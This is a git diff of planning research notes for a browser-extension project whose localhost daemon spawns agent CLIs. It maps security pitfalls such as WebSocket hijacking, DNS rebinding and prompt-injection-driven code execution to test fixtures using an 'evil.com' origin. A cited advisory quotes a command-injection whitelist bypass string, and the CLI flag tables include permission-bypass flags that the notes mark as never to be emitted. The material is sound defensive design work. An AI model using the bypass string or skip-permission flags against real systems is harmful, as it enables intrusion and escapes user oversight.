PROJECT.md). +- [ ] **Providers panel rename:** Often just renames text โ€” verify `agent` provider kind hides API-key field and installs the recommended-default rule (connected > installed > copy-clicked). -- [ ] **"messages.xlf and all 5 locale files were touched in the same PR":** Often means only line-number churn was mechanically propagated โ€” verify the actual `` text diff per trans-unit `id`, not just that all 6 files show git changes. -- [ ] **"Page X passes `lint:i18n`":** Often means every string has an `i18n` marker, not that its translations in the 5 locale files are current โ€” verify per-ID ``-vs-`` currency separately. -- [ ] **"Stats page dropped from the `lint:i18n` ignore-pattern":** Often means the eslint gate alone was satisfied โ€” verify the `stats.*` (and/or `SHOWCASE_STATS_FSB_*`, see Pitfall 4) trans-units actually have current, non-placeholder `` text in all 5 `messages..xlf` files, and that the orphaned `translations.stats-274.*.json` files were either merged or deliberately superseded/removed. -- [ ] **"Angular production build succeeds with `i18nMissingTranslation: error`":** Often means every referenced ID exists somewhere in each locale file โ€” verify it does NOT mean those existing translations are current against today's ``. -- [ ] **"New CI drift gate added to `.github/workflows/ci.yml`":** Often means a coarse file-changed check was wired in โ€” verify it specifically diffs `` text per trans-unit `id` (ignoring ``/line-number churn) and back-test it against this repo's own commit history (the 11 prior pure-churn commits plus `6d3ad363`) before trusting it in production. -- [ ] **"WARNING-02 fixed: cookie now respected on bare-`/` redirect":** Often means the happy-path (cookie present, matches a supported locale) was verified โ€” check the edge cases too: cookie present but set to an unsupported/stale locale value, cookie present alongside a conflicting `Accept-Language` header, and interaction with bot/crawler user agents (which the original Accept-Language middleware was explicitly built to treat specially, per the v0.9.63 "bot-safe" requirement). +--- ## Recovery Strategies @@ -208,38 +569,130 @@ When pitfalls occur despite prevention, how to recover. | Pitfall | Recovery Cost | Recovery Steps | |---------|---------------|----------------| -| New CI gate ships too strict and starts blocking unrelated legitimate PRs on false-positive drift | LOW | Gate is newly added and isolated (a single CI step) โ€” revert to warning-only (non-blocking) mode for a short window, collect false-positive examples from real PRs, tighten the ``-text-diff logic (e.g., exclude context-group-only diffs, which should already be excluded by design per Pitfall 5's prevention โ€” a false-positive here signals the implementation didn't correctly ignore line-number churn) | -| Audit discovers additional real content drift beyond the known 5 strings (likely, since the audit is meant to be comprehensive, not scoped to one commit) | MEDIUM | Extend the resync phase's scope to cover the newly-discovered set before closing the milestone โ€” do not ship the milestone claiming "drift-free coverage" while known additional drift remains unaddressed (directly ties to Pitfall 6's normalization-of-deviance risk) | -| Orphaned `translations.stats-274.*.json` turn out to conflict with (rather than complement) the existing `stats.*` namespace already in `messages.xlf` | MEDIUM | Treat as a namespace consolidation task: decide canonical IDs for the stats page's strings, regenerate `messages.xlf` via `ng extract-i18n` against the current stats template, then re-run the assembly tooling fresh against the current source rather than trying to reconcile two divergent translation sets by hand | -| A resynced translation later turns out to have mistranslated a brand/product term missed during `DO-NOT-TRANSLATE.md` review | LOW | Single targeted fix commit updating just that trans-unit's `` in the affected locale file(s) โ€” the XLIFF format's per-ID structure makes surgical fixes cheap once found; the harder problem is *finding* it, which argues for a `DO-NOT-TRANSLATE.md` term-list automated grep check as part of the resync verification, not just manual review | +| CSWSH / DNS-rebind vulnerability discovered post-ship (Pitfall 1, 2) | HIGH | Emergency point release; force-close the bridge; ship Origin/Host checks; force-upgrade extension via Chrome Web Store update priority; publish security advisory | +| Prompt-injection RCE demonstrated in the wild (Pitfall 3) | HIGH | Same as above + audit shipped prompt logs + notify Anthropic/OpenAI/Google if their CLI's contract enabled the escape | +| `--dangerously-skip-permissions` accidentally exposed (Pitfall 4) | HIGH | Same as CSWSH; every affected user must restart the daemon to invalidate any warm-token state | +| Shared secret leak (Pitfall 5) | MEDIUM | Rotate on daemon restart; force one-time re-pair via control-panel prompt | +| Orphaned CLI processes (Pitfall 6) | LOW | Ship next release with tree-kill fix + orphan scanner on startup; run scanner via `fsb-mcp-server doctor` in the meantime | +| Stdout backpressure deadlock (Pitfall 7) | MEDIUM | Point release with `readline` refactor; interim workaround: cap max stream length in the CLI's system prompt | +| Daemon crash orphans (Pitfall 8) | LOW | Same as Pitfall 6 + add heartbeat to next release | +| Adapter drift breaks delegation (Pitfall 9) | LOW-MEDIUM | Compatibility matrix update; ship version-guarded adapter; user runs `fsb-mcp-server doctor` to confirm compat | +| SW eviction loses delegation state (Pitfall 10) | LOW | Point release with `chrome.storage.session` writes on every progress event | +| Source-pin tripwire break (Pitfall 11) | LOW | Fix in-milestone; tripwires are early-detection so cost stays small when honored | +| Chat/task mode confusion (Pitfall 12) | LOW | Documentation + UI copy update; adapter contract adds `session_id` | +| Cost surprise (Pitfall 14) | LOW-MEDIUM | Providers-panel copy update; add cost card; user reimbursement handled per vendor's usual channels (not FSB's problem to fix) | +| User-vs-agent tab conflict (Pitfall 15) | LOW | Default-background-tab + take-control affordance; ship next release | +| Bridge topology regression (Pitfall 16) | MEDIUM | Test coverage gap: add hub-exit-mid-delegation case; ship fix in next release | +| INV-01 wire contract violation | HIGH | Any client that upgraded FSB but not their local CLI could break; roll back the wire change; every new event must remain additive; audit the frozen hash test | + +--- ## Pitfall-to-Phase Mapping -How roadmap phases should address these pitfalls. +How roadmap phases should address these pitfalls. Phases 57-63 are the working assumption; final phase numbers land in Phase 57 (requirements definition). | Pitfall | Prevention Phase | Verification | -|---------|------------------|---------------| -| Pitfall 1 (247 != 247 real changes) | Audit/resync phase (start) | A ``-text-only diff script run first, producing the true stale-ID count, before any translation work is commissioned or estimated | -| Pitfall 2 (i18n-marker presence != currency) | Full-page audit phase | Audit output includes a per-page, per-locale, per-trans-unit currency verdict (not just a coverage verdict), distinct from what `lint:i18n` already reports | -| Pitfall 3 (unused `state=` attribute) | CI drift-gate design phase | Explicit written decision on the staleness-tracking mechanism (source-hash sidecar vs. repurposed XLIFF `state=`) documented before the gate is implemented, not decided implicitly by whatever the first implementation happens to do | -| Pitfall 4 (orphaned stats-274 JSON artifacts) | Full-page audit phase, stats-page sub-scope | Explicit trace of `translations.stats-274.*.json` -> live `messages..xlf` `` content, resolved (merged or deleted) before the stats page is dropped from `lint:i18n`'s ignore-pattern | -| Pitfall 5 (coarse gate false-positives) | CI drift-gate phase | Gate back-tested against the 11 known pure-churn commits (expect: silent) and `6d3ad363` (expect: fires on exactly the 5 real IDs) before merging into `.github/workflows/ci.yml` | -| Pitfall 6 (normalization of deviance / multi-milestone deferral) | Milestone closeout/audit phase | Closeout audit explicitly checks that any remaining known gap has a mechanical forcing function (CI check, failing test, or dated tripwire), not prose-only deferral, given this project's demonstrated pattern | +|---------|------------------|--------------| +| 1. Missing Origin validation (CSWSH) | Phase 60 (channel design) | Fixture: `Origin: https://evil.com` handshake rejected | +| 2. DNS rebinding | Phase 60 (channel design) | Fixture: `Host: evil.com:7225` handshake rejected | +| 3. Prompt-injection โ†’ spawn RCE | Phase 60 + 61 + 62 (defense-in-depth) | Argv construction lint; adapter payload key allowlist; explicit consent tier test | +| 4. `--dangerously-skip-permissions` defaults | Phase 60 + 62 | Grep-fail CI gate; UX copy audit | +| 5. Shared secret handling | Phase 60 (design) + 62 (rotation UX) | Redaction test suite includes token patterns | +| 6. Zombie / orphaned children | Phase 61 (adapter contract) | Windows + POSIX kill-tree fixtures; orphan scanner | +| 7. Stdout backpressure | Phase 61 (adapter contract) | 200 KB JSONL fixture completes | +| 8. Daemon crash mid-run | Phase 62 (daemon lifecycle) | Kill-daemon test asserts extension outage detection โ‰ค10 s | +| 9. Version drift | Phase 61 (contract) + 63 (drift CI) | Per-adapter version detection; unknown-event fail-loud | +| 10. MV3 SW eviction on long runs | Phase 62 (SW persistence) | `chrome.storage.session` write per progress event; SW-kill fixture | +| 11. Source-pin tripwire breakage | Every extension-touching phase | Full test suite green on every PR | +| 12. Chat vs one-shot mismatch | Phase 61 (adapter caps) + 62 (UX) | Follow-up prompt fixture verifies session continuity | +| 13. Cold-start latency shock | Phase 62 (UX) | Progress step labels; button debounce | +| 14. Cost surprises | Phase 62 (Providers panel copy) + reuse v0.9.69 telemetry | Cost card renders; providers copy references current billing | +| 15. User vs agent tab conflict | Phase 62 (default-background + take-control) | Delegation default opens background tab; take-control affordance test | +| 16. Hub/relay bridge topology edge cases | Phase 60 (design) + every wire-touching phase | Bridge topology test suite includes hub-exit-mid-delegation | + +**Phase reads (working assumption; final numbering set in Phase 57):** +- **Phase 57 (requirements definition):** Bakes tripwire and INV-01 gates into the milestone charter. Names Pitfalls 1-5 as security-critical (must-ship-first). +- **Phase 58 (agent identity capture):** Threads `clientInfo` through `agent:register`; disk-detection of installed clients. Low pitfall exposure โ€” allowlist-only. +- **Phase 59 (Providers panel rename):** Rename + `agent` kind + recommended default. Low pitfall exposure โ€” UI-only. Copy must reflect Pitfall 14 (cost). +- **Phase 60 (channel design + secure spawn):** Pitfalls 1, 2, 3, 5, 16 land here. The security foundation. +- **Phase 61 (adapter contract):** Pitfalls 3 (argv), 6, 7, 9, 12 land here. Kill-tree, backpressure, version guards, chat/task modes. +- **Phase 62 (delegation UX + lifecycle):** Pitfalls 4 (UX audit), 8, 10, 13, 14, 15 land here. Consent tiers, daemon lifecycle, cost card, take-control affordance. +- **Phase 63 (CI drift gate + doctor):** Pitfall 9 (drift smoke) + Pitfall 8 (doctor recovery UX). +- **Phase 64+ (Codex/Gemini/OpenCode adapters):** Each new adapter re-uses the Phase 61 contract; per-adapter caps + version matrix + credentials story. + +--- ## Sources -- Direct repository inspection (all findings HIGH confidence, grounded in actual source, not general i18n advice): - - `git show 6d3ad363` (full diff of the triggering drift commit) โ€” 247 trans-units touched, 5 with real `` changes, 242 with only `` linenumber churn - - `git log --oneline -- showcase/angular/src/locale/messages.xlf` โ€” 11+ prior "messages.xlf-only, pure line-shift" commits establishing the historical "safe" pattern this milestone's triggering commit broke - - `showcase/angular/package.json` (`lint:i18n` script) โ€” confirms both `dashboard/**` and `stats/**` are currently ignore-patterned - - `showcase/angular/eslint.config.js` โ€” confirms `@angular-eslint/template/i18n` scope (checkId/checkText/checkAttributes; marker-presence only, no translation-content verification) - - `showcase/angular/angular.json` โ€” confirms `i18nMissingTranslation: "error"` / `i18nDuplicateTranslation: "error"` build flags (presence-only, not currency) and the 5-locale `i18n.locales` registry - - `showcase/angular/scripts/verify-locale-sync.mjs` โ€” confirms this script checks only `LOCALES` array-literal parity between Angular/Express, not translation content - - `showcase/angular/scripts/assemble-xliff-target.mjs` โ€” confirms the manual, ID-keyed, regex-based translation-merge mechanism and its unconditional `state="translated"` write - - `.github/workflows/ci.yml` (`website` job) โ€” confirms the 4 existing i18n-adjacent CI gates and their ordering (all pre-build) - - `showcase/angular/src/locale/` directory listing โ€” confirms `messages.xlf` + 5 locale `.xlf` files + `DO-NOT-TRANSLATE.md` + orphaned `translations.stats-274.*.json` artifacts - - `.planning/PROJECT.md` โ€” v1.2.0 current-milestone section and v0.9.63/v0.9.69/v0.10.0-attempt-1 previous-milestone sections, establishing the WARNING-02 and dashboard-i18n multi-milestone deferral timeline - ---- -*Pitfalls research for: closing a reopened i18n completeness gap + building CI drift-detection on an existing multi-locale Angular XLIFF showcase site* -*Researched: 2026-07-07* +### 2025-2026 CVEs and Advisories + +- [Critical RCE in Anthropic MCP Inspector (CVE-2025-49596)](https://www.oligo.security/blog/critical-rce-vulnerability-in-anthropic-mcp-inspector-cve-2025-49596) โ€” CVSS 9.4; MCP proxy accepts stdio commands with no auth or origin gate; DNS rebinding exploitable. +- [MCP Inspector CVE-2025-49596 (NVD detail)](https://nvd.nist.gov/vuln/detail/CVE-2025-49596) +- [MCP Horror Stories: The Drive-By Localhost Breach (Docker)](https://www.docker.com/blog/mpc-horror-stories-cve-2025-49596-local-host-breach/) +- [DNS Rebinding in Official MCP SDKs (CVE-2025-66414 / CVE-2025-66416)](https://vulnerablemcp.info/vuln/cve-2025-66414-66416-dns-rebinding-mcp-sdks.html) โ€” TypeScript SDK (fixed 1.24.0) and Python SDK (fixed 1.23.0). +- [Rafter โ€” DNS Rebinding and Localhost MCP](https://rafter.so/blog/mcp-dns-rebinding-localhost) +- [CVE-2025-59536: Claude Code project files โ†’ RCE + API token exfiltration (Check Point Research)](https://research.checkpoint.com/2026/rce-and-api-token-exfiltration-through-claude-code-project-files-cve-2025-59536/) +- [CVE-2025-54794 / CVE-2025-54795: Claude Code path bypass + command injection (Cymulate)](https://cymulate.com/blog/cve-2025-547954-54795-claude-inverseprompt/) โ€” `echo` whitelist bypass via `"\"; ; echo \""`. +- [Google Gemini CLI CVSS 10.0 RCE (Novee Security)](https://novee.security/blog/google-gemini-cli-rce-vulnerability-cvss-10-critical-security-advisory/) โ€” GHSA-wpqr-6v78-jr5g; workspace-trust bypass in headless. +- [Gemini CLI Vulnerability (Tracebit)](https://tracebit.com/blog/code-exec-deception-gemini-ai-cli-hijack) +- [TrustFall: 1-Click RCE Across Claude, Cursor, Gemini CLI, Copilot (Adversa AI)](https://adversa.ai/blog/trustfall-coding-agent-security-flaw-rce-claude-cursor-gemini-cli-copilot/) โ€” folder-trust bypass, May 2026. +- [TrustFall follow-up (Lyrie Research)](https://lyrie.ai/research/research/2026-05-09-trustfall-agentic-rce) +- [Mailpit CSWSH Advisory (GHSA-524m-q5m7-79mm)](https://github.com/axllent/mailpit/security/advisories/GHSA-524m-q5m7-79mm) +- [Dozzle CSWSH on `/exec` and `/attach` (CVE-2026-44985, GHSA-j643-x8pv-8m67)](https://github.com/amir20/dozzle/security/advisories/GHSA-j643-x8pv-8m67) +- [Nanobot WhatsApp Bridge CSWSH (GHSA-v5j3-4q66-58cf)](https://github.com/HKUDS/nanobot/security/advisories/GHSA-v5j3-4q66-58cf) +- [Cross-Site WebSocket Hijacking Exploitation in 2025 (Include Security)](https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/) โ€” current state of browser mitigations; some past attacks still work. +- [MCP Untrusted Servers and Confused Clients (Embrace the Red)](https://embracethered.com/blog/posts/2025/model-context-protocol-security-risks-and-exploits/) +- [Palo Alto Unit 42: Web-based indirect prompt injection observed in the wild](https://unit42.paloaltonetworks.com/ai-agent-prompt-injection/) + +### Vendor Documentation / Official Guidance + +- [Claude Code โ€” `--dangerously-skip-permissions` (Truefoundry)](https://www.truefoundry.com/blog/claude-code-dangerously-skip-permissions) +- [Claude Code โ€” Anthropic security best practices (General Analysis)](https://generalanalysis.com/guides/anthropic-claude-code-security-best-practices) +- [Claude Code โ€” Work with sessions](https://code.claude.com/docs/en/agent-sdk/sessions) +- [Claude Code โ€” `--continue` silently creates a new session in non-interactive (`-p`) mode (Kent Gigger)](https://kentgigger.com/posts/claude-code-conversation-history) +- [Claude Code โ€” stream-json format (Background Claude)](https://backgroundclaude.com/blog/stream-json) +- [Claude Code โ€” stream-json output undocumented issue #24594](https://github.com/anthropics/claude-code/issues/24594) +- [Claude Code โ€” event-type documentation feature request #24612](https://github.com/anthropics/claude-code/issues/24612) +- [Claude Code โ€” `--strict-mcp-config` behavior issue #1111](https://github.com/multica-ai/multica/issues/1111) +- [Anthropic โ€” Claude billing split delay (June 15, 2026 pause)](https://www.digitalapplied.com/blog/anthropic-claude-credit-overhaul-june-15-2026) +- [Anthropic pauses Claude Agent SDK subscription change (The New Stack)](https://thenewstack.io/anthropic-pauses-claude-agent-sdk-subscription-change/) +- [Codex CLI โ€” Headless Execution Mode (DeepWiki)](https://deepwiki.com/openai/codex/4.2-model-provider-configuration) +- [Codex CLI โ€” Headless / Non-Interactive Mode (Developer Toolkit)](https://developertoolkit.ai/en/codex/advanced-techniques/non-interactive/) +- [MCP โ€” Handshake, initialize, clientInfo (IMTI)](https://imti.co/mcp-handshake-lifecycle/) +- [MCP โ€” Authorization tutorial](https://modelcontextprotocol.io/docs/tutorials/security/authorization) + +### Chrome / MV3 / Runtime + +- [Chrome โ€” Extension service worker lifecycle](https://developer.chrome.com/docs/extensions/develop/concepts/service-workers/lifecycle) โ€” 30 s idle + 5 min single-request limits. +- [Chrome โ€” Longer extension service worker lifetimes](https://developer.chrome.com/blog/longer-esw-lifetimes) +- [Chrome โ€” Use WebSockets in service workers](https://developer.chrome.com/docs/extensions/how-to/web-platform/websockets) โ€” Chrome 116+ WS activity extends SW lifetime. +- [Chrome โ€” Native messaging](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging) +- [Chrome โ€” Offscreen Documents in MV3](https://developer.chrome.com/blog/Offscreen-Documents-in-Manifest-v3) โ€” WebSocket in offscreen not supported. +- [Chrome โ€” Vibe Engineering: MV3 SW keepalive (Medium)](https://medium.com/@dzianisv/vibe-engineering-mv3-service-worker-keepalive-how-chrome-keeps-killing-our-ai-agent-9fba3bebdc5b) + +### Node.js child_process / streams + +- [Node.js โ€” Child process (v26)](https://nodejs.org/api/child_process.html) โ€” Windows signal handling caveats. +- [Node.js โ€” Backpressuring in streams](https://nodejs.org/learn/modules/backpressuring-in-streams) +- [Auto-Claude #1252: Windows process cleanup broken โ€” zombies accumulate](https://github.com/AndyMik90/Auto-Claude/issues/1252) +- [Node.js #46569: Unrefed child_process inside a worker thread becomes a zombie](https://github.com/nodejs/node/issues/46569) +- [Node.js help #1389: Correct way to kill a child process](https://github.com/nodejs/help/issues/1389) +- [Killing process families with Node (Almenon)](https://medium.com/@almenon214/killing-processes-with-node-772ffdd19aad) + +### Browser Agents / Tab Conflicts + +- [Cursor forum: agents use the same browser tab, conflict](https://forum.cursor.com/t/agents-use-the-same-browser-tab-which-creates-a-conflict/151571) +- [OpenClaw #3605: sub-agents share browser profile with parent](https://github.com/openclaw/openclaw/issues/3605) +- [browser-use #1920: multiple agents on same browser, second agent errors](https://github.com/browser-use/browser-use/issues/1920) +- [OpenClaw #25228: MV3 SW lifecycle breaks relay](https://github.com/openclaw/openclaw/issues/25228) + +### Repo-internal references (verified via graphify) + +- `extension/background.js:8731` โ€” `fsbDispatchInternalMessage()`, same-context dispatch. Auto-memory confirms `sendMessage` does not loop back in-SW; the delegation dispatcher must use this bus. +- `tests/mcp-bridge-topology.test.js` โ€” existing bridge topology tests; extend, do not replace. +- FSB source-pin tripwire policy โ€” auto-memory `fsb-source-pin-tripwires.md`. +- PROJECT.md v0.9.91 Key Context โ€” bridge already rejects untrusted browser origins for MCP; INV-01 wire contracts byte-stable; MV3 SW lifetime constraint acknowledged. + +--- +*Pitfalls research for: localhost daemon spawning agent CLIs on request from a browser (MV3) surface* +*Researched: 2026-07-10* diff --git a/.planning/research/STACK.md b/.planning/research/STACK.md index ff9e3405f..ae21a4b09 100644 --- a/.planning/research/STACK.md +++ b/.planning/research/STACK.md @@ -1,130 +1,269 @@ # Stack Research -**Domain:** Angular i18n translation-completeness audit tooling + XLIFF drift-detection CI gate (showcase marketing site, v1.2.0) -**Researched:** 2026-07-07 -**Confidence:** HIGH +**Domain:** Headless agent-CLI spawning/supervision from a Node daemon (MCP-clients-as-providers, v0.9.91) +**Researched:** 2026-07-10 +**Confidence:** HIGH (flag matrices verified against live local binaries + current official docs; see per-section notes) -> **Note:** This supersedes the prior v1.0.0 (OpenTabs Full App Catalog) `STACK.md` that occupied this path -- that research is unrelated to this milestone and has been overwritten per the current research task. Recover it from git history (`ARCHITECTURE-v1.0.0-OPENTABS-CATALOG.md` in this same directory preserves that milestone's architecture notes as a renamed sibling; the equivalent stack notes are recoverable from git log on this path if ever needed). +> **Note:** This supersedes the v1.2.0 (Showcase i18n) `STACK.md` that occupied this path โ€” unrelated to this milestone, recoverable from git history (same convention as the previous overwrite noted in that file's own header). -## Ground-Truth Finding (verified against live repo files, not hypothetical) +> **Scope guard:** Existing validated stack (MV3 extension, vanilla JS, `fsb-mcp-server` on `@modelcontextprotocol/sdk ^1.29`, ws 8.x bridge on 7225, streamable-HTTP on 7226, platforms.ts registry, install.ts writers, universal-provider.js) is NOT re-researched. Everything below is only what the four NEW features need. -Before recommending tooling, I parsed the actual `showcase/angular/src/locale/messages*.xlf` files with a throwaway script to confirm the milestone's premise and validate the detection algorithm end-to-end. Results, run against the current working tree: +--- + +## Headline Recommendation + +**Add zero new runtime dependencies to `mcp/`.** Every new capability โ€” spawning agent CLIs, supervising them, parsing their JSONL streams, capturing `clientInfo`, detecting installed clients โ€” is achievable with Node built-ins (`node:child_process`, `node:readline`, `node:fs`, `node:os`) plus APIs already present in the pinned `@modelcontextprotocol/sdk`. Shell out to the **user's own installed CLIs** (subscription auth preserved); do **not** embed the Claude Agent SDK (API-key-only auth, policy-prohibited subscription use โ€” see tradeoff section). + +--- + +## Verified CLI Flag Matrices + +Verification method: flags run against **locally installed binaries** where available (strongest evidence), cross-checked against official docs fetched 2026-07-10. Do not trust flag names from memory at build time โ€” each adapter should version-probe (` --version`) and treat the matrices below as the contract for the listed versions. + +### 1. Claude Code CLI โ€” MVP adapter target + +**Verified against:** local `claude` **2.1.177** (`--help` output, verbatim) + https://code.claude.com/docs/en/cli-reference + /docs/en/headless + /docs/en/permissions (fetched 2026-07-10). Confidence: **HIGH**. + +| Capability | Flag (verbatim) | Notes | +|---|---|---| +| Headless run | `-p, --print` | "Print response and exit". All other flags compose with it. Prompt via argv or stdin pipe (stdin capped at 10MB since v2.1.128) | +| Streaming output | `--output-format stream-json` | Choices: `text` (default), `json` (single result), `stream-json` (newline-delimited JSON). Print mode only | +| Token-level partials | `--include-partial-messages` | "only works with --print and --output-format=stream-json". Emits `stream_event` lines with `text_delta` | +| Verbose (required) | `--verbose` | Docs' stream-json examples always include it; historically `-p --output-format stream-json` errors without `--verbose`. Include it unconditionally | +| Streaming input | `--input-format stream-json` | "realtime streaming input" โ€” enables a persistent child receiving user turns as JSONL on stdin (chat-mode without respawn). Pairs with `--replay-user-messages` | +| Resume (chat-mode) | `-r, --resume [sessionId]` / `-c, --continue` | Session ID lookup is **scoped to the current project directory** and its worktrees โ€” the daemon must use a stable per-provider cwd for resume to work | +| Fork / pin session | `--fork-session`, `--session-id ` | UUID must be valid; fork creates new ID on resume | +| Ephemeral (task-mode) | `--no-session-persistence` | "sessions will not be saved to disk and cannot be resumed (only works with --print)" | +| Agent persona | `--agent ` | "Agent for the current session. Overrides the 'agent' setting." | +| Inline agent definition | `--agents ` | Session-only, never written to disk โ€” "useful for quick testing or automation scripts". Accepts full frontmatter fields: `description`, `prompt`, `tools`, `disallowedTools`, `model`, `permissionMode`, `mcpServers`, `hooks`, `maxTurns`, `skills`, `initialPrompt`, `memory`, `effort`, `background`, `isolation`, `color` | +| Tool allowlist | `--allowedTools` / `--allowed-tools ` | Comma or space separated; permission-rule syntax | +| Tool denylist | `--disallowedTools` / `--disallowed-tools` | Bare tool name removes tool from context entirely | +| Built-in tool restriction | `--tools ""` \| `"default"` \| `"Bash,Edit,Read"` | `--tools ""` strips ALL built-ins โ€” strongest "browser-only" lockdown when combined with an MCP allowlist. Verify quoting behavior in a spike | +| Permission mode | `--permission-mode ` | Choices at 2.1.177 (verbatim from --help): `"acceptEdits", "auto", "bypassPermissions", "default", "dontAsk", "plan"`. (`manual` alias exists only โ‰ฅ2.1.200.) **`dontAsk` is the delegation default we want:** "Auto-denies tools unless pre-approved via `permissions.allow` rules" | +| Hermetic MCP | `--mcp-config ` + `--strict-mcp-config` | Verbatim: "Only use MCP servers from --mcp-config, ignoring all other MCP configurations". `--mcp-config` accepts JSON **files or strings** | +| System prompt | `--append-system-prompt `, `--append-system-prompt-file ` | Also `--system-prompt(-file)` for full replacement โ€” avoid; keep CC defaults | +| Budget rails | `--max-turns ` (print only), `--max-budget-usd ` | Both exist at current versions; belt-and-suspenders alongside daemon wall-clock timeout | +| Non-interactive permission broker | `--permission-prompt-tool ` | Optional later: route approval asks back through an FSB MCP tool instead of hard-deny | + +**MCP tool wildcard semantics (verified verbatim, code.claude.com/docs/en/permissions, 2026-07-10):** + +- `mcp__fsb` โ€” "matches any tool provided by the `fsb` server" +- `mcp__fsb__*` โ€” "uses wildcard syntax and also matches all tools from the server" (both forms valid today; older docs disallowed the `__*` form โ€” this HAS changed) +- `mcp__fsb__read_page` โ€” single tool +- Allow rules accept globs **only after a literal `mcp____` prefix** (`mcp__fsb__get_*` works); unanchored allow globs like `mcp__*` are "skipped with a warning". `mcp__*` works in **deny/ask** rules only. +- Recommendation: use bare `mcp__fsb` in `--allowedTools` (both forms equivalent; bare form is the one that has been stable across doc generations). + +**Critical auth gotcha (verified):** `--bare` mode "skips OAuth and keychain reads. Anthropic authentication must come from `ANTHROPIC_API_KEY` or an `apiKeyHelper`". Docs recommend `--bare` for scripts, **but FSB must NOT use it** โ€” subscription auth is the entire point of agent providers. Hermeticity comes from `--strict-mcp-config` + `--agents` + `--settings` instead, which leaves OAuth intact. + +**stream-json event contract (verified, code.claude.com/docs/en/headless):** first line is `system` subtype `init` (session_id, model, tools, mcp_servers, plus a `capabilities` string array โ‰ฅ2.1.205 โ€” feature-detect from it, not from version strings); then `assistant`/`user` message lines, `stream_event` partials (with `--include-partial-messages`), `system/api_retry` on retryable API errors (fields: `attempt`, `max_retries`, `retry_delay_ms`, `error_status`, `error` category incl. `authentication_failed`, `billing_error`, `rate_limit`), terminal `result` line (includes `total_cost_usd`, per-model usage, `session_id`). One JSON object per line. + +**Reference delegation invocation (MVP shape):** + +```bash +claude -p --verbose \ + --output-format stream-json --include-partial-messages \ + --mcp-config '{"mcpServers":{"fsb":{"type":"http","url":"http://127.0.0.1:7226/mcp"}}}' \ + --strict-mcp-config \ + --agents "$(cat fsb-agent.json)" --agent fsb \ + --permission-mode dontAsk \ + --allowedTools "mcp__fsb" \ + --disallowedTools "Bash,Edit,Write,NotebookEdit,WebFetch,WebSearch" \ + --max-turns 40 \ + --no-session-persistence # task-mode only; omit + capture session_id for chat-mode +# prompt written to stdin (never argv โ€” Windows quoting + length limits) +``` + +Two spike items flagged for the phase (5-minute checks, not blockers): (a) whether `--agent fsb` can select an agent defined inline via `--agents` in the same invocation (documented composition is indirect; fallback is `--append-system-prompt-file`, which is fully documented); (b) exact `--tools ""` quoting on Windows. + +Note the injected `--mcp-config` uses FSB's **existing streamable-HTTP endpoint (port 7226)** so the spawned CLI joins the already-running daemon/hub instead of forking a second stdio server process (which would spawn a competing hub and force relay promotion on 7225). + +### 2. Codex CLI + +**Verified against:** local `codex` **0.142.5** (`codex exec --help`, `codex mcp --help`, verbatim) + https://developers.openai.com/codex/noninteractive (โ†’ redirects to learn.chatgpt.com/docs/non-interactive-mode) + config reference (learn.chatgpt.com/docs/config-file/config-reference), fetched 2026-07-10. npm latest: `@openai/codex` **0.144.1**. Confidence: **HIGH**. + +| Capability | Flag (verbatim from 0.142.5 --help) | Notes | +|---|---|---| +| Headless run | `codex exec [PROMPT]` | Prompt as arg, or `-` / piped stdin ("If stdin is piped and a prompt is also provided, stdin is appended as a `` block") | +| Streaming output | `--json` | "Print events to stdout as JSONL". Event types: `thread.started`, `turn.started`, `turn.completed`, `turn.failed`, `item.started`, `item.completed`; item types: `agent_message`, `reasoning`, `command_execution`, `mcp_tool_call`, `file_changes`, `web_search`, `plan_updates` | +| Final answer only | `-o, --output-last-message ` | Written to file, not stdout | +| Structured output | `--output-schema ` | JSON Schema for final response | +| Resume (chat-mode) | `codex exec resume ` / `codex exec resume --last "next instruction"` | Subcommand, not a flag | +| Ephemeral (task-mode) | `--ephemeral` | "Run without persisting session files to disk" โ€” Codex's `--no-session-persistence` equivalent | +| Hermetic config | `--ignore-user-config` + `-c key=value` | "Do not load `$CODEX_HOME/config.toml`; **auth still uses `CODEX_HOME`**" โ€” exactly the strict-MCP + subscription-auth combination FSB needs. `-c` takes dotted TOML paths, e.g. `-c 'mcp_servers.fsb.url="http://127.0.0.1:7226/mcp"'` | +| Profiles (alt hermetic path) | `-p, --profile ` | Layers `$CODEX_HOME/.config.toml` on top of base config ("CONFIG_PROFILE_V2") โ€” FSB could install a `fsb-delegation.config.toml` | +| Sandbox | `-s, --sandbox ` | Default read-only. `--full-auto` is **deprecated** (docs: "prints warning; prefer --sandbox workspace-write") โ€” do not emit it | +| Full bypass | `--dangerously-bypass-approvals-and-sandbox` | "EXTREMELY DANGEROUS" โ€” never emit from FSB | +| Repo guard | `--skip-git-repo-check`, `-C, --cd ` | Needed: daemon scratch cwd is not a git repo | +| MCP config (persistent) | `[mcp_servers.]` in `config.toml` | Keys verbatim: `command`, `args`, `cwd`, `env`, `enabled`, `startup_timeout_sec`, `tool_timeout_sec`, `enabled_tools`, `disabled_tools`; HTTP servers: `url`, `http_headers`, `bearer_token_env_var`. `codex mcp list|get|add|remove|login|logout` exists (0.142.5) | +| Auth | ChatGPT login (subscription) by default; `CODEX_API_KEY` env only for CI | Matches key-less provider model | + +**Drift alert (MEDIUM confidence):** current config reference lists `approval_policy` values as `"untrusted"`, `"on-request"`, `"never"` plus a granular object โ€” `on-failure` (present in training-data-era docs) is no longer listed. Since `codex exec` is non-interactive, FSB's adapter should rely on sandbox mode, not approval_policy; re-verify if approval_policy is ever emitted. + +### 3. Gemini CLI + +**Verified against:** https://github.com/google-gemini/gemini-cli `docs/cli/cli-reference.md`, `docs/cli/headless.md`, `docs/tools/mcp-server.md` (main branch, fetched 2026-07-10). npm latest: `@google/gemini-cli` **0.50.0**. Not installed locally โ€” no binary cross-check. Confidence: **MEDIUM-HIGH** (current official docs, single source class). + +| Capability | Flag (verbatim from docs) | Notes | +|---|---|---| +| Headless run | `-p, --prompt` | "Appended to stdin input if provided. Forces non-interactive mode." Headless also triggers in non-TTY environments | +| Streaming output | `-o, --output-format stream-json` | Choices: `text`, `json`, `stream-json`. JSONL events: `init`, `message`, `tool_use`, `tool_result`, `error`, `result`. Exit codes: 0 success, 1 error, 42 input error, 53 turn-limit | +| Approval | `--approval-mode ` | `-y/--yolo` is **deprecated** ("Use --approval-mode=yolo instead") โ€” do not emit `--yolo` | +| Tool allowlist | `--allowed-tools` **deprecated** ("Use the Policy Engine instead") | MCP-server-level gating is the supported path: `--allowed-mcp-server-names` 